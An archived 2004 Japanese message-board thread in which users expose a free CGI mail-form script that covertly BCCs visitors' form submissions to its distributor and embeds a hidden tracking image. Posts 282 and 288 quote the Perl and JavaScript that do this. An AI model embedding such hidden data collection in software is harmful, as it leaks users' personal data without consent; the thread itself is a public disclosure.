URLリンク(alpha.www.td:81)

URLリンク(ringoch.nekoruri.jp)
URLリンク(alpha.ringoch.info)
URLリンク(gateway.ringoch.info)
URLリンク(ringoch.dayomon.net)
URLリンク(alpha.www.td:81)

220:nobodyさん
04/06/11 21:43
>>219
これって犯罪じゃないのか?
どこか目立つ板で祭りしようや。

221:nobodyさん
04/06/11 21:48
>>220
通信傍受だな

速報か

222:こりゃ大変だ
04/06/11 22:01
祭り会場決まったら教えてね

223:nobodyさん
04/06/11 22:01
>>219
これはヲチ板とかニュー速でも祭った方がいいんじゃね?

224:nobodyさん
04/06/11 22:07
とりあえず証拠収集と解析をしようぜ。

まずはサイトを丸ごと保存して注意書きとかチェック。
他にも何か仕込まれていないか全スクリプトを落としてチェック。

225:nobodyさん
04/06/11 22:10
--------------------------------------------------------------------
214 名前:名無しさん@どーでもいいことだが。 メェル:sage 投稿日:04/06/10 20:42 ID:KO2sUTHI
自分の理想にぴったりかなったID/PASS請求用の高機能フォームCGI(フリーウェア)を発見し、
いそいそとダウンロードして「さぁ編集だ~!」と喜び勇んでエディタで開いたところ…。

なんとスクリプト本文の中に、
読者様から送ってもらうフォーム内容(なまものに対する情熱を熱く語って頂く項目あり)を、
スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ゚д゚)ポカーソ
しかもそれだけじゃなく、フォームのHTML内には
スクリプト配布元のリンク監視用(?)
アクセス解析GIF透明画像(もちろん相手のサイトを直接呼び出し)が埋め込まれた。

つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
コソーリ送信するような仕組みになっていたというわけだ。
(((( ;゚Д゚))ガクガクブルブル

気持ち悪いなんていう理由でそういった部分を削除するのは規約違反だし、
元々そういう違反関連にかなりうるさいサイトらしく、
本気で晒し上げもしかねないような雰囲気だったのでやむなく使用を断念。
規約を読んでダウンロードしたのは自分なわけだし
機能の充実した素晴らしいフリーウェアだから少々の制約は致し方ないとはいえ、
あまりにも卑劣というか姑息だなと思ったので…。
大切な読者様に迷惑かかるのは一番イクナイ!し…。
--------------------------------------------------------------------
個人+商用+メールフォームCGI+CSVデータ蓄積
でヤフ検索すると出てくる。

226:nobodyさん
04/06/11 22:31
>>224
今保存ちう~

> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。

商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。

227:nobodyさん
04/06/11 22:34
法律に反してまで不正に個人情報収集キタ━━(゚∀゚)━━ッ!!

228:nobodyさん
04/06/11 22:36
これ大問題だな
セキュリティー板にも誰か貼れよ

N速マダー

229:nobodyさん
04/06/11 22:52
N速マダー

って実は立てようとしたんだけど、俺のホストでは立てられなかった。
簡単に祭りになるかと思ったのにどこでも静かだね。

230:nobodyさん
04/06/11 22:55
【盗聴】web-up.cside.biz【個人情報詐取】

おいらも立てられないぞ。

231:nobodyさん
04/06/11 23:00
>>230
スレ立て依頼スレがあるよ
テンプレ作って、投下しれ

232:230
04/06/11 23:21
スレ起て規制中だからテンプレまで考えてなかった_| ̄|○スマソ
誰かヨロシク。

233:nobodyさん
04/06/11 23:32
ヌー速はスレ保持数が極端に少なくなってるから
よっぽど捻ってスレ立てないと即落ちだぞ。

234:nobodyさん
04/06/11 23:36
ヌー速でなくても、Web系の板にとりあえず立てたらどうか?
とりあえず、世のサイト管理人に知らせたいもんだ。

235:nobodyさん
04/06/11 23:42
URLリンク(ex5.2ch.net)

ネトヲチ板とか

236:nobodyさん
04/06/11 23:44
>>235
そこも立てられなかった…誰かヨロ

とりあえず>>219がテンプラでどーだ

237:nobodyさん
04/06/11 23:46
ヲチ板に立てるなら一応hは抜いておいたらどうだろう。
相手が既に気付いてるなら夜逃げ段階かもしれないけど。

238:nobodyさん
04/06/11 23:49
【盗聴】web-up.cside.biz【個人情報詐取】

CGIスクリプト本文の中に、 送ってもらうフォーム内容を
スクリプト配布元のメールアドレスにもBCCで送信する構文が入っているものがありました。
そしてフォームHTML内にはスクリプト配布元のアクセス解析のGIF画像まで。

URLリンク(web-up.cside.biz)

URLリンク(ringoch.nekoruri.jp)
URLリンク(alpha.ringoch.info)
URLリンク(gateway.ringoch.info)
URLリンク(ringoch.dayomon.net)
URLリンク(alpha.www.td:81)

URLリンク(ringoch.nekoruri.jp)
URLリンク(alpha.ringoch.info)
URLリンク(gateway.ringoch.info)
URLリンク(ringoch.dayomon.net)
URLリンク(alpha.www.td:81)


こんな感じか。
>>2に画像のURLでもいいね。誰かヨロ

239:nobodyさん
04/06/11 23:51
この板は見てないので住民の傾向は分からんが
一応参考までに。
「痛いニュース速報+」
URLリンク(news16.2ch.net)

240:nobodyさん
04/06/11 23:57
【盗聴】web-up.cside.biz【個人情報詐取】
スレリンク(net板)l50


たてたよー

241:nobodyさん
04/06/11 23:59 zWex4Tqd
226nobodyさんsage04/06/11 22:31 ID:???>>224
今保存ちう~

> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。

商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。
227nobodyさんage04/06/11 22:34 ID:???法律に反してまで不正に個人情報収集キタ━━(゚∀゚)━━ッ!!

242:未承諾広告※ ◆TWARamEjuA
04/06/12 00:00
実は痛+のキャップ持ってたりして(w

243:nobodyさん
04/06/12 00:02
>>240



244:未承諾広告※ ◆TWARamEjuA
04/06/12 00:09
Done.
【盗聴】web-up.cside.biz【個人情報詐取】
スレリンク(dqnplus板)l50

245:nobodyさん
04/06/12 00:25
>>244
面白じゃなくて、ヌー速に立ててよ

246:未承諾広告※ ◆TWARamEjuA
04/06/12 00:26
>>245
ν速は怖いので却下(w

247:nobodyさん
04/06/12 00:28
>>246
一番人がいるじゃん

248:未承諾広告※ ◆TWARamEjuA
04/06/12 00:31
>>247
だから怖かったりして(w
ってことで、mesh.ad.jp の人よろですー(w
(実は対策中@スレ立て規制ルーチン)

249:nobodyさん
04/06/12 00:39
Web-UPへようこそ!
突然ですが、おめでとうございます!

あなたはオレオレ詐欺を成功させる為の絶好の機会に恵まれました!この機会に、ぜひあなたの常識が正しいかどうかを確かめてみて下さい。

さっそくですが、あなたの会社ではコンピュータやプログラムが出来る仕事を人間がやっているということはありませんか?それは本当に実在の人間でないと出来ない仕事ですか?

零細企業ほど業務のIT化・自動化を進めて、貴重な人的資源を有効に活用する必要があります。オレオレ詐欺運営業務のほとんどは、コンピュータに自動でやらせることが出来るのですから!

250:nobodyさん
04/06/12 01:34 XcpBcCfn
【盗聴】web-up.cside.biz【個人情報詐取】
スレリンク(news板)

251:nobodyさん
04/06/12 01:38 S59QSIAd
キタ━━━(゚∀゚)━━━ !!

252:nobodyさん
04/06/12 01:38 F7bl5wsk
キタ━━(゚∀゚)━━ッ!!

253:nobodyさん
04/06/12 01:39
(`・ω・´)シャキーン

254:nobodyさん
04/06/12 01:41
記念ぱぴぽ

255:nobodyさん
04/06/12 01:50
【盗聴】web-up.cside.biz【個人情報詐取】
ν速 スレリンク(news板)
ヲチ スレリンク(net板)
痛+ スレリンク(dqnplus板)

256:nobodyさん
04/06/12 01:51
ニュー速から来ました
c⌒っ*゚д゚)っφ 記念カキコ

257:nobodyさん
04/06/12 02:02
おめでとう。勝利は目前だ。

祈念カキコ。

258:うんこぶりぶりまん
04/06/12 02:03 2GlvRme6
祭りだ下記子

259:nobodyさん
04/06/12 02:11 09i6j9GU
∩( ・ω・)∩祭りばんじゃーい

260:nobodyさん
04/06/12 02:14
【盗聴】web-up.cside.biz【個人情報詐取】
スレリンク(sec板)

261:nobodyさん
04/06/12 02:16
  | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
  |     祭り?    |
  |________|
   ∧ ∧|| ω
  (* ̄∀ ̄)(・|>
  _|U_|//
  \___ノ
...⊂ ̄U U ̄⊃
⊂__ジョー__⊃

262:nobodyさん
04/06/12 02:18
>>261
まつりだ

263:nobodyさん
04/06/12 02:23
ドンドド゙ッド、ドッドドッド、ドンドド゙ッド、ドッドドッド、
  モリアガッテマイリマシター!!!!
    ∧ ∧   ,,─,-、  ♪
    (,,゚Д゚) / (:  :(  ) ))
     |つ/つ  `ー─``ー'
   ~|  |   ┣━┫┨
    U U   ┠┤  ┣┫

264:nobodyさん
04/06/12 02:26 wopb/Mb3
>なんとスクリプト本文の中に、
>読者様から送ってもらうフォーム内容を、
>スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ゚д゚)ポカーソ
>しかもそれだけじゃなく、フォームのHTML内には
>スクリプト配布元のリンク監視用(?)
>アクセス解析GIF透明画像(もちろん相手のサイトを直接呼び出し)が埋め込まれた。

>つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
>しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
>コソーリ送信するような仕組みになっていたというわけだ。
>(((( ;゚Д゚))ガクガクブルブル

これでもわからない奴はry

265:nobodyさん
04/06/12 02:28 ePpV/3zG
ν速から来たよ、
Website Explorerで落としてるんだけど重いなここのサイト。

266:nobodyさん
04/06/12 02:29
とりあえず最新確認に関連スレ一覧置いていきますね
URLリンク(www.ruitomo.com)

あと立つならWeb制作とネットサービスあたりなのかな。

267:nobodyさん
04/06/12 02:32
該当部分のソースキボン
頭沸いてるんかコイツ

268:nobodyさん
04/06/12 02:36
金に目がくらんでトチ狂って書いたってとこ?

269:nobodyさん
04/06/12 02:37
>>266
分かりやすくてイイ!

270:nobodyさん
04/06/12 02:37
>265
それはshtmlも落とせるのかな?
なんかshtmlだらけで満足に落とせないとどこかのスレで見たよ

271:nobodyさん
04/06/12 02:38
一応これ置いときますね。

68 :名無しさん@ゴーゴーゴーゴー! :04/06/12 02:09 ID:/o6BW1Gu
Num-Mailしか見てないけど、メールが抜かれるのって
著作権表示を消した時と、一番最初にメール送信した時だけだよな?
$temp何とかってファイルを空にすればまた抜かれるけど
メールを送信するたびに抜かれるわけじゃないよな?

272:nobodyさん
04/06/12 02:39
200人訪問中ということは、それだけ2ちゃんねらーがいるということですね

273:nobodyさん
04/06/12 02:42
GETHTMLで落とした

274:nobodyさん
04/06/12 02:42
>>271
つまりどのサイトでスクリプト使われてるか把握するためのものなのね
って全然言い訳にもならん。逮捕だ逮捕

275:nobodyさん
04/06/12 02:44
>>274
それだけならいいが

スクリプト使って送信したメールがサクーシャにも送信

276:nobodyさん
04/06/12 02:45
>>270
あ、それ自分だ。
うまく落とせてないから、他の人に頑張って貰いたいんだが…
落とすとき30分も解析にかかった。

277:274
04/06/12 02:52
>>275
いや、だから一回目に送るメールってのは大概運営者だから
そのアドレスだけを抜き出そうという魂胆でそ>>271読む限りでは

おれも今からソースみてみるけど

278:nobodyさん
04/06/12 02:53
ソース公開してるんだから、責任はそんなものas isで使うことを
承諾して使ってるユーザーにあるんだろ

279:nobodyさん
04/06/12 02:57
■免責事項
8. 本スクリプトの不正利用防止・設置状況把握を目的として、本スクリプトから設置先サーバーの情報を収集することがありますが、利用者はこれに同意したものとします。



補足
ついでに個人情報も収集します

280:nobodyさん
04/06/12 02:57
光臨?


と煽っておく

281:nobodyさん
04/06/12 02:59
> ■免責事項
> 8. 本スクリプトの不正利用防止・設置状況把握を目的として、
> 本スクリプトから設置先サーバーの情報を収集することがありますが、
> 利用者はこれに同意したものとします。

これはBCCで情報収集の言い訳として成り立つのか?というところだな。

282:nobodyさん
04/06/12 03:00
該当部分
(1)
if($footer !~ /Web-UP/ or $ver !~ /Num-Mail v1.04/)
 { $bcc = 'bad@web-up.cside.biz'; $bad = 1; }

(2)
if(!open(TEMP,"$temp_file")){ &error('一時ファイルが開けませんでした'); }
$TEMP = <TEMP>;
close(TEMP);
if($TEMP eq ''){
 my $H = $ENV{'HTTP_HOST'};
 my $S = $ENV{'SCRIPT_NAME'};
 $PAGE = <<EOF;
 <script type="text/javascript" language="JavaScript">
 <!--
   (略。IMG使ってアク解仕込んでる)
 // -->
 </script>
 <noscript>
 <img src="URLリンク(web-up.cside.biz)" width=1 height=1 border=0>
 </noscript>
EOF
 $bcc = 'start@web-up.cside.biz;'.$bcc;
}

#(2)は「送信ボタン2度押し検出」だそうだ
#「一時ファイル」に最後に送信したUAやホストを記録してる


283:nobodyさん
04/06/12 03:03
ご丁寧に綺麗なソースでこんなことするとは
頭マジいかれてるな

284:nobodyさん
04/06/12 03:07
>>281
法律違反行為ならそんなもん無効だわな。

285:nobodyさん
04/06/12 03:13
弊社のご案内
URLリンク(atpc.cside9.com)

286:nobodyさん
04/06/12 03:16
>>285
WEBクリエイター3級
とかあるんだ。初耳。

287:nobodyさん
04/06/12 03:22
せめてスクリプトタグの内容暗号化して盗聴用鯖も一見無関係のところにしておきゃよかったのに。
どっちにしても、すぐばれるだろうが。

288:nobodyさん
04/06/12 03:27
document.write("<img src='URLリンク(web-up.cside.biz)");
document.write("pg="+pg+a+"pf="+pf+"lng="+lng+"swh="+swh+"cd="+cd+"pd="+pd+"rf="+rf);
document.write("' width=1 height=1 border=0>");


何やってんだ?

289:nobodyさん
04/06/12 03:30
>>282
N速では(2)の処理は最初の一回だけって話になってるけどどうなの?

>>288
アクセス解析という噂



290:nobodyさん
04/06/12 03:32
びっくりしますた

291:nobodyさん
04/06/12 03:32
おい、もう材料ねえのか?
ヌー速もやる気なくなってるぞ

292:nobodyさん
04/06/12 03:33
夜中だからな。明日またやろうぜ

293:nobodyさん
04/06/12 03:33
>>291
やる気も何もさすがに時間が時間だし。
まだ明日以降あるでしょ。

294:nobodyさん
04/06/12 03:34
明日またスレ立てれば桶

295:nobodyさん
04/06/12 03:35
>>289
最初の1回目だけ。
$temp_fileを捨てると、また1度だけ送られる

296:nobodyさん
04/06/12 03:38
最初の一回だけだから出歯亀送信してもいいとはいえないんだよな?
しかも今回は
“最初の一回だけ送信”דcgi設置した件数”
だよな

297:nobodyさん
04/06/12 03:38
>>295
眠くてスクリプト見てないけど
そのtempは何?

298:nobodyさん
04/06/12 03:39
>>295
㌧くす

299:nobodyさん
04/06/12 03:44
>}else{
> &error('<b>スクリプト利用規約違反行為を検出しました</b><br><a href="mailto:info@web-up.cside.biz">こちら</a>からご連絡下さい');
>}

( ´,_ゝ`)プッ


300:nobodyさん
04/06/12 03:46
このcgiを利用したサイトが不正利用すると、関係ない第三者の個人情報も
web-upに送られるという極悪仕様らしいね

301:nobodyさん
04/06/12 03:49
>>300
不正使用しなくても、一回目に情報が送られる。

302:nobodyさん
04/06/12 03:52
>>301
一通目は普通管理人だから問題ないけど、(いや、あるけど)
二通目以降の本番使用での訪問者による送信でも、
サイト管理者が不正使用なら訪問者のメールも読まれてしまう
という意味でしょうが

303:295
04/06/12 03:55
>>297
最後に送ったメールの送信者やら送信時刻やらを保存してるファイル。

送信ボタン2度押しによる2重送信を防ぐために、
1.$temp_fileに記録した時刻から5秒以内に
2.送信者アドレスとUAとホストが同じメールを送ろうとした
場合には、2通目を送らないようにする。
このファイルが空白の場合に、BCCに余計なアドレスが追加される。


304:nobodyさん
04/06/12 03:56
この程度のスクリプト、どこに有料にするほどの機能があろうか

305:nobodyさん
04/06/12 03:57
入力必須項目をいくつでも設定できます。
入力内容が同一でないとエラーとする項目をいくつでも設定できます。
半角数字のみ入力許可とする項目、半角英数字のみ入力許可とする項目をいくつでも設定できます。
7桁郵便番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
カタカナと空白のみを入力許可とする項目をいくつでも設定できます。
加入電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
携帯電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
その他の電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
日付の書式チェックをする項目をいくつでも設定できます。
日付の書式チェックをする項目に存在しない日付が入力された場合エラーとなります(うるう年にも対応)。
入力禁止とする項目をいくつでも設定できますので、フリーメールアドレスからの送信などを事前に防止できます。
メールアドレス・ホームページアドレスを正規表現を使って厳密に書式チェックします。これにより、せっかくメールを送ってくれた送信者の方が運悪くメールアドレスを間違って記入してしまい連絡が取れなくなるというトラブルを大幅に減らすことができます。


( ´,_ゝ`)プッ

要するに
・入力情報チェック機能

だろが


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch